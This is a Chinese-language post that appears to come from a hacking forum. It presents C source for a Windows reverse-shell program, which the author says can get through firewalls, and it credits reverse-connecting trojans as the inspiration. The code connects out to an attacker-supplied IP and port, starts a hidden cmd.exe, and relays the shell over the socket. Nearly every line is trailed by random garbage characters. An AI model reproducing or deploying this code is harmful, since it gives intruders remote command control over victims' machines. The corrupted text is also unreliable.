Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 -}*YfwK  
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/* ============================== rwou[QU  
Rebound port in Windows NT sv?Lk4_  
By wind,2006/7 js\|xfDxP  
===============================*/ /F6=iHK(l  
#include h/n&&J  
#include |d8x55dk  
:s OsG&y  
#pragma comment(lib,"wsock32.lib") iPPW_Q9x  
[P23.`G~J  
void OutputShell(); <O?UC/$)7  
SOCKET sClient; H-.8{8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P ".[=h  
[6Gb@jG  
void main(int argc,char **argv) 7$* O+bkn:  
{ eE-@dU?  
WSADATA stWsaData; $]yHk  
int nRet; #!X4\+)  
SOCKADDR_IN stSaiClient,stSaiServer; 9nPc>O$  
^.@BD4/RPt  
if(argc != 3) \.<V~d?  
{ 564)ha/^(  
printf("Useage:\n\rRebound DestIP DestPort\n"); V<;w  
return; 5 J9,/M0  
} )9QeVf  
k9<P]%  
WSAStartup(MAKEWORD(2,2),&stWsaData); SBBi"U:  
Q7$K,7flf;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "R/Xv+;  
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stSaiClient.sin_family = AF_INET; k/ 9S  
stSaiClient.sin_port = htons(0); 0 ))W [  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +MfdZD  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >1Y',0v  
{ m:7$"oq|  
printf("Bind Socket Failed!\n"); HsG
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return; g0D(:_QXp:  
} ,!s;o6|*y  
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stSaiServer.sin_family = AF_INET; CcHf1 _CI  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sSMcF[]@2I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q-fxs8+m|  
( o_lH2  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C"P40VQoo  
{ ,:QzF"MV  
printf("Connect Error!"); (ft8,^=4  
return; >wpC45n)9N  
} X^U)j N2  
OutputShell(); j[fVF3v  
} TYQ7jt0=.-  
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void OutputShell() ,5_Hen=PI  
{ g= ql 3N  
char szBuff[1024]; ./009p  
SECURITY_ATTRIBUTES stSecurityAttributes; 02_%a1g  
OSVERSIONINFO stOsversionInfo; #FBq8iJ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <Yk#MeiEp  
STARTUPINFO stStartupInfo; [BpIzhy&}  
char *szShell; L+&eY?A  
PROCESS_INFORMATION stProcessInformation; ^Z{W1uYi  
unsigned long lBytesRead; 0]c 2T  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M@V.?;F},  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); VE<&0d<  
stSecurityAttributes.lpSecurityDescriptor = 0; m\88Etl@  
stSecurityAttributes.bInheritHandle = TRUE; o#-K,|-  
+d0&(b  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w34&m  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `H5n_km  
",c(cYVW  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cboue LEt  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H\\0V.}!  
stStartupInfo.wShowWindow = SW_HIDE; ]e'Ol$3U9=  
stStartupInfo.hStdInput = hReadPipe; "?Eh_Dw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S'NZb!1+  
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GetVersionEx(&stOsversionInfo); w~eF0{h  
$Q[a^V~:  
switch(stOsversionInfo.dwPlatformId) ^;b$`*M1  
{ <wt#m`Za  
case 1: #4ZDY,>Xi#  
szShell = "command.com"; Z)6gh{B08  
break; 4Lo8Eue  
default: {jX h/`  
szShell = "cmd.exe"; b{C3r3B8  
break; m/)Wn  
} dcMWCK  
xHv<pza:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sglYT!O  
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send(sClient,szMsg,77,0); h\k!X/  
while(1) ;O*y$|+PA  
{ ^FJ=/#@T  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \dAh^BK1(  
if(lBytesRead) uFM]4v3  
{ Ixhe86-:T  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k#8,:B2  
send(sClient,szBuff,lBytesRead,0); pm+_s]s,  
} OAu?F}O  
else m L#-U)?F  
{ aHosu=NK  
lBytesRead=recv(sClient,szBuff,1024,0); TbqED\5@9w  
if(lBytesRead<=0) break; bDa(@QJ-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P;D)5yP092  
} X'4g\)*  
} ~7Ey9wRkD  
aVI/x5p~  
return; !7MC[z(|N  
}